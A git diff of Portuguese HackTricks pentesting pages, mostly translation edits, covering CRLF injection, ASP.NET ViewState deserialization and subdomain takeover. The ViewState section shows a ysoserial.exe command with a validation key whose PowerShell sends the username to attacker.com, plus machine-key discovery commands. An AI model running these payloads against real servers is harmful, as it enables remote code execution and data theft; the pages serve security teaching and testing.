O impacto das injeções de CRLF varia e inclui todos os impactos do Cross-site Scripting até a divulgação de informações. Também pode desativar certas restrições de segurança, como filtros XSS e a Política da Mesma Origem nos navegadores das vítimas, deixando-as suscetíveis a ataques maliciosos.
|
||||
|
||||
### Como Prevenir Injeções de CRLF / Cabeçalhos HTTP em Aplicações Web
|
||||
|
||||
A melhor técnica de prevenção é não usar a entrada do usuário diretamente nos cabeçalhos de resposta. Se isso não for possível, você sempre deve usar uma função para codificar os caracteres especiais CRLF. Outra boa prática de segurança de aplicativos da web é atualizar sua linguagem de programação para uma versão que não permita a injeção de CR e LF dentro de funções que definem cabeçalhos HTTP.
|
||||
A melhor técnica de prevenção é não usar a entrada dos usuários diretamente nos cabeçalhos de resposta. Se isso não for possível, você sempre deve usar uma função para codificar os caracteres especiais CRLF. Outra boa prática de segurança de aplicativos da web é atualizar sua linguagem de programação para uma versão que não permita a injeção de CR e LF dentro de funções que definem cabeçalhos HTTP.
|
||||
|
||||
### CHEATSHEET
|
||||
```
|
||||
|
@ -223,7 +223,7 @@ A melhor técnica de prevenção é não usar a entrada do usuário diretamente
|
|||
* [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)
|
||||
* [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
|
||||
|
||||
|
|
|
@ -4,7 +4,7 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? Ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -12,9 +12,9 @@
|
|||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
|
||||
Se você está interessado em uma **carreira em hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -25,7 +25,7 @@ As seguintes propriedades ou combinação de propriedades se aplicam às informa
|
|||
|
||||
* Base64
|
||||
* Pode ser definido usando o atributo EnableViewStateMac e ViewStateEncryptionMode definido como false
|
||||
* Base64 + MAC (Código de Autenticação de Mensagem) Habilitado
|
||||
* Base64 + MAC (Message Authentication Code) habilitado
|
||||
* Pode ser definido usando o atributo EnableViewStateMac definido como true
|
||||
* Base64 + Criptografado
|
||||
* Pode ser definido usando o atributo viewStateEncryptionMode definido como true
|
||||
|
@ -36,7 +36,7 @@ As seguintes propriedades ou combinação de propriedades se aplicam às informa
|
|||
|
||||
### Caso de Teste: 1 – EnableViewStateMac=false e viewStateEncryptionMode=false
|
||||
|
||||
Também é possível desativar completamente o ViewStateMAC definindo a chave de registro `AspNetEnforceViewStateMac` como zero em:
|
||||
Também é possível desabilitar completamente o ViewStateMAC definindo a chave de registro `AspNetEnforceViewStateMac` como zero em:
|
||||
```
|
||||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
|
||||
```
|
||||
|
@ -86,7 +86,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0M
|
|||
```
|
||||
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/2.1.png)
|
||||
|
||||
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) é outra ferramenta que pode identificar machineKeys conhecidos. É escrita em Python, então, ao contrário do Blacklist3r, não há dependência do Windows. Para viewstates .NET, há um utilitário "python blacklist3r", que é a maneira mais rápida de usá-lo.
|
||||
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) é outra ferramenta que pode identificar machineKeys conhecidos. É escrita em Python, então, ao contrário do Blacklist3r, não há dependência do Windows. Para viewstates .NET, há um utilitário chamado "python blacklist3r", que é a maneira mais rápida de usá-lo.
|
||||
|
||||
Ele pode ser fornecido diretamente com o viewstate e o gerador:
|
||||
```
|
||||
|
@ -108,6 +108,8 @@ Para buscar viewstates vulneráveis em escala, em conjunto com a enumeração de
|
|||
```
|
||||
bbot -f subdomain-enum -m badsecrets -t evil.corp
|
||||
```
|
||||
![](https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png)
|
||||
|
||||
Se você tiver sorte e encontrar a chave, você pode prosseguir com o ataque usando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:**
|
||||
```
|
||||
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
|
||||
|
@ -199,7 +201,7 @@ solicitação fora de banda com o nome de usuário atual
|
|||
* [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
* [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês, escrita e falada, é necessária_).
|
||||
|
||||
|
@ -213,6 +215,6 @@ Se você está interessado em uma **carreira de hacking** e hackear o inquebráv
|
|||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -12,11 +12,11 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje:
|
||||
Obtenha acesso hoje:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -26,7 +26,7 @@ Se você descobrir algum domínio (dominio.tld) que está **sendo usado por algu
|
|||
|
||||
### Subdomínio takeover
|
||||
|
||||
Um subdomínio da empresa está apontando para um **serviço de terceiros com um nome não registrado**. Se você puder **criar** uma **conta** neste **serviço de terceiros** e **registrar** o **nome** que está sendo usado, você pode realizar o subdomínio takeover.
|
||||
Um subdomínio da empresa está apontando para um **serviço de terceiros com um nome não registrado**. Se você pode **criar** uma **conta** neste **serviço de terceiros** e **registrar** o **nome** que está sendo usado, você pode realizar o subdomínio takeover.
|
||||
|
||||
Existem várias ferramentas com dicionários para verificar possíveis takeovers:
|
||||
|
||||
|
@ -52,7 +52,7 @@ bbot -t evilcorp.com -f subdomain-enum
|
|||
|
||||
Quando um wildcard DNS é usado em um domínio, qualquer subdomínio solicitado desse domínio que não tenha um endereço diferente explicitamente será **resolvido para as mesmas informações**. Isso pode ser um endereço IP A, um CNAME...
|
||||
|
||||
Por exemplo, se `*.testing.com` for wildcard para `1.1.1.1`. Então, `not-existent.testing.com` estará apontando para `1.1.1.1`.
|
||||
Por exemplo, se `*.testing.com` estiver configurado como wildcard para `1.1.1.1`. Então, `not-existent.testing.com` estará apontando para `1.1.1.1`.
|
||||
|
||||
No entanto, se em vez de apontar para um endereço IP, o administrador do sistema apontar para um **serviço de terceiros via CNAME**, como um **subdomínio do GitHub**, por exemplo (`sohomdatta1.github.io`). Um atacante poderia **criar sua própria página de terceiros** (no caso do GitHub) e dizer que `something.testing.com` está apontando para lá. Porque o **wildcard CNAME** concordará, o atacante será capaz de **gerar subdomínios arbitrários para o domínio da vítima apontando para suas páginas**.
|
||||
|
||||
|
@ -62,21 +62,21 @@ Você pode encontrar um exemplo dessa vulnerabilidade no write-up do CTF: [https
|
|||
|
||||
**Esta informação foi copiada de** [**https://0xpatrik.com/subdomain-takeover/**](https://0xpatrik.com/subdomain-takeover/)
|
||||
|
||||
Recentemente, eu [escrevi](https://0xpatrik.com/subdomain-takeover-basics/) sobre os conceitos básicos de subdomínio takeover. Embora o conceito seja agora geralmente bem compreendido, notei que as pessoas geralmente têm dificuldade em entender os riscos que o subdomínio takeover traz para a mesa. Neste post, eu aprofundo e cubro os riscos mais notáveis do _subdomínio takeover_ na minha perspectiva.
|
||||
Recentemente, eu [escrevi](https://0xpatrik.com/subdomain-takeover-basics/) sobre os conceitos básicos de subdomínio takeover. Embora o conceito seja agora geralmente bem compreendido, notei que as pessoas geralmente têm dificuldade em entender os riscos que o subdomínio takeover traz para a mesa. Neste post, vou aprofundar e cobrir os riscos mais notáveis do _subdomínio takeover_ na minha perspectiva.
|
||||
|
||||
_Observação: Alguns riscos são mitigados implicitamente pelo provedor de nuvem. Por exemplo, quando o subdomínio takeover é possível no Amazon CloudFront, não há como configurar registros TXT para ignorar as verificações SPF. O post, portanto, tem como objetivo fornecer riscos sobre o subdomínio takeover geral. No entanto, a maioria deles se aplica também a provedores de nuvem._
|
||||
_Observação: Alguns riscos são mitigados implicitamente pelo provedor de nuvem. Por exemplo, quando o subdomínio takeover é possível no Amazon CloudFront, não há como configurar registros TXT para contornar as verificações SPF. O post, portanto, tem como objetivo fornecer riscos gerais de subdomínio takeover. No entanto, a maioria deles se aplica também aos provedores de nuvem._
|
||||
|
||||
### Transparência para um Navegador <a href="#transparencytoabrowser" id="transparencytoabrowser"></a>
|
||||
|
||||
Para começar, vamos dar uma olhada na resolução DNS quando o CNAME está envolvido:
|
||||
Para começar, vamos analisar a resolução DNS quando o CNAME está envolvido:
|
||||
|
||||
![Resolução DNS](https://0xpatrik.com/content/images/2018/05/resolution-2.png)
|
||||
|
||||
Observe que a etapa #7 solicita _sub.example.com_ em vez de _anotherdomain.com_. Isso ocorre porque o navegador da web não tem conhecimento de que _anotherdomain.com_ sequer existe. Mesmo que o registro CNAME seja usado, a barra de URL do navegador ainda contém _sub.example.com_. Isso é a **transparência** para o navegador. Se você pensar sobre isso, o navegador deposita toda a confiança no resolvedor DNS para fornecer informações precisas sobre o domínio. Simplificando, o subdomínio takeover é um spoofing DNS para um domínio específico em toda a Internet. Por quê? Porque qualquer navegador que execute a resolução DNS no domínio afetado recebe um conjunto de registros A definido por um atacante. O navegador então mostra alegremente o que é recebido deste servidor (pensando que é legítimo).
|
||||
|
||||
Um domínio desse tipo é perfeito para phishing. Os atacantes frequentemente usam [_typosquatting_](https://en.wikipedia.org/wiki/Typosquatting) ou os chamados [_Doppelganger domains_](https://en.wikipedia.org/wiki/Doppelg%C3%A4nger) para imitar o domínio/site legítimo para fins de phishing. Depois que um atacante assume o controle de um nome de domínio legítimo, é quase impossível para um usuário comum dizer se o conteúdo no domínio é fornecido por uma parte legítima ou por um atacante. Vamos pegar como exemplo um banco aleatório. Se um dos subdomínios do banco for vulnerável ao subdomínio takeover, um atacante pode criar um formulário HTML que imita o formulário de login do sistema de internet banking do banco. Em seguida, um atacante pode executar uma campanha de spear phishing ou phishing em massa pedindo aos usuários que façam login e alterem suas senhas. Nesta etapa, as senhas são capturadas por um atacante que está no controle do domínio em questão. A URL fornecida no e-mail de phishing é um subdomínio legítimo de um banco. Portanto, os usuários não têm conhecimento de algo malicioso acontecendo. Filtros de spam e outras medidas de segurança também são menos propensos a acionar o e-mail como spam ou malicioso porque ele contém nomes de domínio com maior confiança.
|
||||
Um domínio desse tipo é perfeito para phishing. Os atacantes frequentemente usam [_typosquatting_](https://en.wikipedia.org/wiki/Typosquatting) ou os chamados [_Doppelganger domains_](https://en.wikipedia.org/wiki/Doppelg%C3%A4nger) para imitar o domínio/site legítimo para fins de phishing. Depois que um atacante assume o controle de um nome de domínio legítimo, é quase impossível para um usuário comum dizer se o conteúdo no domínio é fornecido por uma parte legítima ou por um atacante. Vamos pegar como exemplo um banco aleatório. Se um dos subdomínios do banco for vulnerável ao subdomínio takeover, um atacante pode criar um formulário HTML que imita o formulário de login do sistema de internet banking do banco. Em seguida, um atacante pode executar uma campanha de spear phishing ou phishing em massa pedindo aos usuários que façam login e alterem suas senhas. Nesta etapa, as senhas são capturadas por um atacante que está no controle do domínio em questão. A URL fornecida no e-mail de phishing é um subdomínio legítimo de um banco. Portanto, os usuários não têm conhecimento de algo malicioso acontecendo. Filtros de spam e outras medidas de segurança também são menos propensos a identificar o e-mail como spam ou malicioso porque ele contém nomes de domínio com maior confiança.
|
||||
|
||||
De fato, o próprio nome de domínio desempenha um papel significativo em uma campanha bem-sucedida. Ter um subdomínio de 5º nível vulnerável ao subdomínio takeover é muito menos _"legítimo"_ do que ter um subdomínio de 2º nível com um nome de subdomínio amigável. Vi várias instâncias de subdomínios perfeitos para phishing, incluindo:
|
||||
De fato, o próprio nome de domínio desempenha um papel significativo em uma campanha bem-sucedida. Ter um subdomínio de 5º nível vulnerável ao subdomínio takeover é muito menos _"legítimo"_ do que ter um subdomínio de 2º nível com um nome de subdomínio amigável. Vi vários casos de subdomínios perfeitos para phishing, incluindo:
|
||||
|
||||
* _purchases.SOMETHING.com_
|
||||
* _www.SOMETHING.com_
|
||||
|
@ -87,10 +87,10 @@ Todos eles vulneráveis ao subdomínio takeover. Todos eles eram grandes marcas.
|
|||
|
||||
No entanto, campanhas recentes de phishing hospedam conteúdo em domínios com nomes de domínio longos que incluem o nome da marca (veja o exemplo da [Apple](https://www.phishtank.com/target_search.php?target_id=183&valid=y&active=All&Search=Search)). Tendo um certificado SSL válido (mais sobre isso abaixo), palavra-chave no nome de domínio e um site que imita o site da marca-alvo, as pessoas tendem a cair nesses ataques. Pense nas chances com um subdomínio legítimo dessa marca.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as **ferramentas comunitárias mais avançadas do mundo**.\
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para criar e **automatizar fluxos de trabalho** com facilidade, usando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -101,7 +101,7 @@ O ataque acima pode ser aprimorado gerando um certificado SSL válido. Autoridad
|
|||
|
||||
![Fluxo do Let's Encrypt](https://0xpatrik.com/content/images/2018/05/letsencrypt.png)
|
||||
|
||||
Isso significa que, se houver um conteúdo específico colocado em um caminho de URL específico, o Let's Encrypt aprovará a emissão de um certificado para um determinado domínio. Como um atacante tem controle total sobre o conteúdo do domínio que é vulnerável ao subdomínio takeover, essa verificação pode ser feita em questão de minutos. Portanto, os atacantes também são capazes de gerar um certificado SSL para esse domínio, o que apenas diminui a suspeita de um ataque de phishing.
|
||||
Isso significa que, se houver um conteúdo específico colocado em um caminho de URL específico, o Let's Encrypt aprovará a emissão de um certificado para um determinado domínio. Como um atacante tem controle total sobre o conteúdo do domínio que é vulnerável ao subdomínio takeover, essa verificação pode ser feita em questão de minutos. Portanto, os atacantes também são capazes de gerar um certificado SSL para esse domínio, o que reduz ainda mais a suspeita de um ataque de phishing.
|
||||
### Roubo de Cookies <a href="#roubodecookies" id="roubodecookies"></a>
|
||||
|
||||
Isso está intimamente relacionado à transparência do navegador, mas tem consequências diferentes. O navegador da web implementa muitas políticas de segurança para evitar que sites maliciosos causem danos. Isso inclui coisas como [Política de mesma origem](https://en.wikipedia.org/wiki/Same-origin\_policy). Uma das principais responsabilidades de segurança de um navegador é proteger os cookies salvos. Por quê? Embora o HTTP seja um protocolo sem estado, os cookies são usados para rastrear sessões. Por conveniência, os usuários costumam salvar cookies por um longo período para evitar fazer login toda vez. Esses cookies, portanto, atuam como um token de login que é apresentado ao servidor da web e o usuário é identificado. Ataques como [_Roubo de sessão_](https://en.wikipedia.org/wiki/Session\_hijacking) naturalmente evoluíram a partir desse conceito.
|
||||
|
@ -116,34 +116,34 @@ Se este cookie for emitido pelo servidor web que reside em _example.com_, apenas
|
|||
HTTP/1.1 200 OK
|
||||
Set-Cookie: name=value; domain=example.com
|
||||
```
|
||||
O cookie será incluído nas solicitações HTTP para _example.com_, mas também para qualquer outro subdomínio, como _subdominio.example.com_. Esse comportamento cria a possibilidade de ataques de alta gravidade usando a apropriação de subdomínio. Suponha que um determinado domínio esteja usando cookies de sessão para domínio curinga. Se houver um subdomínio vulnerável à apropriação de subdomínio, a única coisa necessária para obter o token de sessão do usuário é enganá-lo para visitar o subdomínio vulnerável. O cookie de sessão é automaticamente enviado com a solicitação HTTP.
|
||||
O cookie será incluído em solicitações HTTP para _example.com_, mas também para qualquer outro subdomínio, como _subdominio.example.com_. Esse comportamento cria a possibilidade de ataques de alta gravidade usando subdomínio takeover. Suponha que um determinado domínio esteja usando cookies de sessão para domínio curinga. Se houver um subdomínio vulnerável ao subdomínio takeover, a única coisa necessária para obter o token de sessão do usuário é enganá-lo para visitar o subdomínio vulnerável. O cookie de sessão é automaticamente enviado com a solicitação HTTP.
|
||||
|
||||
O navegador também implementa mecanismos de segurança adicionais para cookies:
|
||||
|
||||
* **Cookie HttpOnly** - Por padrão, os cookies podem ser acessados pelo código JavaScript em execução no contexto do site que criou os cookies. O JavaScript pode ler, atualizar e excluir os cookies. A flag _HttpOnly_ (definida pelo servidor web) indica que o cookie em questão não pode ser acessado pelo código JavaScript. A única maneira de obtê-lo é por meio de cabeçalhos de solicitação e resposta HTTP.
|
||||
* **Cookie seguro** - Quando o cookie tem a flag _Secure_ definida pelo servidor web, ele só pode ser comunicado de volta ao servidor web se o HTTPS for usado.
|
||||
|
||||
Se o domínio for vulnerável à apropriação de subdomínio, um invasor pode obter cookies emitidos por esse domínio no passado apenas enganando os usuários para visitar esse site. As flags HttpOnly e Secure não ajudam, pois o cookie não está sendo acessado usando JavaScript e o certificado SSL pode ser facilmente gerado para o domínio apropriado.
|
||||
Se o domínio for vulnerável ao subdomínio takeover, um invasor pode obter cookies emitidos por esse domínio no passado apenas enganando os usuários para visitar esse site. As flags HttpOnly e Secure não ajudam, pois o cookie não está sendo acessado usando JavaScript e o certificado SSL pode ser facilmente gerado para o domínio tomado.
|
||||
|
||||
O roubo de cookies usando a apropriação foi explicado em um relatório de recompensa por bugs [report](https://hackerone.com/reports/172137) por Arne Swinnen. O relatório explica o problema com um dos subdomínios da _Ubiquiti Networks_ (_ping.ubnt.com_). Este subdomínio estava vulnerável à apropriação de subdomínio, apontando para uma distribuição não reclamada do AWS CloudFront. Como a Ubiquiti Networks está usando SSO com cookies de sessão curinga, todos os usuários que visitam _ping.ubnt.com_ podem ter seus cookies de sessão roubados. Mesmo que este domínio esteja apontando para o AWS CloudFront, as configurações de distribuição do CloudFront permitem o registro de cookies com cada solicitação. Portanto, o cenário de extração de cookies de sessão é totalmente possível, mesmo com subdomínios apontando para o AWS CloudFront. Em 2017, Arne também demonstrou um vetor de ataque semelhante contra o sistema SSO da [Uber](https://www.arneswinnen.net/2017/06/authentication-bypass-on-ubers-sso-via-subdomain-takeover/).
|
||||
O roubo de cookies usando takeover foi explicado em um relatório de recompensa por bugs [report](https://hackerone.com/reports/172137) por Arne Swinnen. O relatório explica o problema com um dos subdomínios da _Ubiquiti Networks_ (_ping.ubnt.com_). Este subdomínio estava vulnerável ao subdomínio takeover, apontando para uma distribuição não reclamada do AWS CloudFront. Como a Ubiquiti Networks está usando SSO com cookies de sessão curinga, todos os usuários que visitam _ping.ubnt.com_ podem ter seus cookies de sessão roubados. Mesmo que este domínio esteja apontando para o AWS CloudFront, as configurações de distribuição do CloudFront permitem o registro de cookies com cada solicitação. Portanto, o cenário de extração de cookies de sessão é totalmente possível, mesmo com subdomínios apontando para o AWS CloudFront. Em 2017, Arne também demonstrou um vetor de ataque semelhante contra o sistema SSO da [Uber](https://www.arneswinnen.net/2017/06/authentication-bypass-on-ubers-sso-via-subdomain-takeover/).
|
||||
|
||||
O comportamento explicado acima não se limita apenas a cookies. Como os scripts JavaScript têm controle total sobre os sites em que são executados, ter a capacidade de substituir esses scripts no site legítimo pode levar a consequências catastróficas. Suponha que um site esteja usando código JavaScript de um provedor externo usando a tag _script_ e o atributo _src_. Quando o domínio do provedor externo expira, o navegador falha silenciosamente, ou seja, não aciona nenhum alerta visível para usuários regulares. Se o código externo não estiver fazendo algo importante (por exemplo, sendo usado apenas para rastreamento), esse provedor externo pode permanecer no site por um período prolongado. Um invasor pode assumir esse domínio expirado, corresponder ao caminho URL do código JavaScript fornecido e, assim, obter controle sobre cada visitante que acessa o site original.
|
||||
O comportamento explicado acima não se limita a cookies. Como os scripts JavaScript têm controle total sobre os sites em que são executados, ter a capacidade de substituir esses scripts no site legítimo pode levar a consequências catastróficas. Suponha que o site esteja usando código JavaScript de um provedor externo usando a tag _script_ e o atributo _src_. Quando o domínio do provedor externo expira, o navegador falha silenciosamente, ou seja, não aciona nenhum alerta visível para usuários regulares. Se o código externo não estiver fazendo algo importante (por exemplo, sendo usado apenas para rastreamento), esse provedor externo pode permanecer no site por um período prolongado. Um invasor pode assumir esse domínio expirado, corresponder ao caminho URL do código JavaScript fornecido e, assim, obter controle sobre cada visitante que acessa o site original.
|
||||
|
||||
No entanto, há uma maneira de proteger a integridade dos arquivos JavaScript em um navegador. A _Integridade de Subrecursos_ [foi proposta](https://www.w3.org/TR/2016/REC-SRI-20160623/) como um mecanismo para incluir um hash criptográfico como um atributo _integrity_ na tag _script_ em HTML5. Quando o hash criptográfico fornecido não corresponde ao arquivo baixado, o navegador se recusa a executá-lo.
|
||||
|
||||
### E-mails <a href="#emails" id="emails"></a>
|
||||
|
||||
Quando a apropriação de subdomínio CNAME é possível, registros MX podem ser configurados por um invasor para um servidor web arbitrário também. Isso permite receber e-mails em um subdomínio legítimo de alguma marca - particularmente útil novamente em ataques de phishing (spear phishing) onde a interação entre um invasor e a vítima é necessária. Os invasores geralmente falsificam o cabeçalho `Return-Path` para receber uma resposta ao e-mail. Com registros MX corretos, esse problema é contornado.
|
||||
Quando o subdomínio takeover do CNAME é possível, os registros MX também podem ser configurados por um invasor para um servidor web arbitrário. Isso permite receber e-mails em um subdomínio legítimo de uma determinada marca - especialmente útil novamente em ataques de phishing (spear phishing) onde a interação entre o invasor e a vítima é necessária. Os invasores geralmente falsificam o cabeçalho `Return-Path` para receber uma resposta ao e-mail. Com registros MX corretos, esse problema é contornado.
|
||||
|
||||
Por outro lado, também é possível enviar e-mails. Embora seja trivial falsificar o cabeçalho `From` para incluir qualquer endereço de e-mail, os filtros SPF geralmente verificam o cabeçalho `Return-Path` e os hosts permitidos para envio de e-mails do domínio. O SPF armazena a configuração em registros TXT do DNS. Com a apropriação de subdomínio, os registros TXT estão sob o controle do invasor também - as verificações SPF podem ser facilmente passadas.
|
||||
Por outro lado, também é possível enviar e-mails. Embora seja trivial falsificar o cabeçalho `From` para incluir qualquer endereço de e-mail, os filtros SPF geralmente verificam o cabeçalho `Return-Path` e os hosts permitidos para envio de e-mails para o domínio. O SPF armazena a configuração em registros TXT do DNS. Com o subdomínio takeover, os registros TXT também estão sob o controle do invasor - as verificações SPF podem ser facilmente passadas.
|
||||
|
||||
_Como mencionei no início, essas táticas geralmente não funcionam com a maioria dos provedores de nuvem, pois você não tem controle direto sobre a zona DNS._
|
||||
|
||||
### Riscos de Ordem Superior <a href="#higherorderrisks" id="higherorderrisks"></a>
|
||||
|
||||
O conceito de apropriação de subdomínio pode ser naturalmente estendido para registros NS: se o domínio base de pelo menos um registro NS estiver disponível para registro, o nome de domínio de origem estará vulnerável à apropriação de subdomínio.
|
||||
O conceito de subdomínio takeover pode ser naturalmente estendido para registros NS: se o domínio base de pelo menos um registro NS estiver disponível para registro, o nome de domínio de origem estará vulnerável ao subdomínio takeover.
|
||||
|
||||
Um dos problemas na apropriação de subdomínio usando registros NS é que o nome de domínio de origem geralmente possui vários registros NS. Múltiplos registros NS são usados para redundância e balanceamento de carga. O servidor de nomes é escolhido aleatoriamente antes da resolução DNS. Suponha que o domínio _sub.example.com_ tenha dois registros NS: _ns.vulnerable.com_ e _ns.nonvulnerable.com_. Se um invasor assumir o controle do _ns.vulnerable.com_, a situação do ponto de vista do usuário que consulta _sub.example.com_ é a seguinte:
|
||||
Um dos problemas no subdomínio takeover usando registro NS é que o nome de domínio de origem geralmente possui vários registros NS. Múltiplos registros NS são usados para redundância e balanceamento de carga. O servidor de nomes é escolhido aleatoriamente antes da resolução DNS. Suponha que o domínio _sub.example.com_ tenha dois registros NS: _ns.vulnerable.com_ e _ns.nonvulnerable.com_. Se um invasor assumir o controle do _ns.vulnerable.com_, a situação do ponto de vista do usuário que consulta _sub.example.com_ é a seguinte:
|
||||
|
||||
1. Como existem dois servidores de nomes, um é escolhido aleatoriamente. Isso significa que a probabilidade de consultar um servidor de nomes controlado por um invasor é de 50%.
|
||||
2. Se o resolvedor DNS do usuário escolher _ns.nonvulnerable.com_ (servidor de nomes legítimo), o resultado correto será retornado e provavelmente será armazenado em cache em algum lugar entre 6 e 24 horas.
|
||||
|
@ -153,9 +153,9 @@ O processo acima é repetido toda vez que a entrada de cache expira. Quando um i
|
|||
|
||||
Além do controle sobre o nome de domínio de origem, também é obtido controle sobre todos os domínios de nível superior do nome de domínio de origem. Isso ocorre porque possuir um nome de domínio canônico do registro NS significa possuir a zona DNS completa do nome de domínio de origem.
|
||||
|
||||
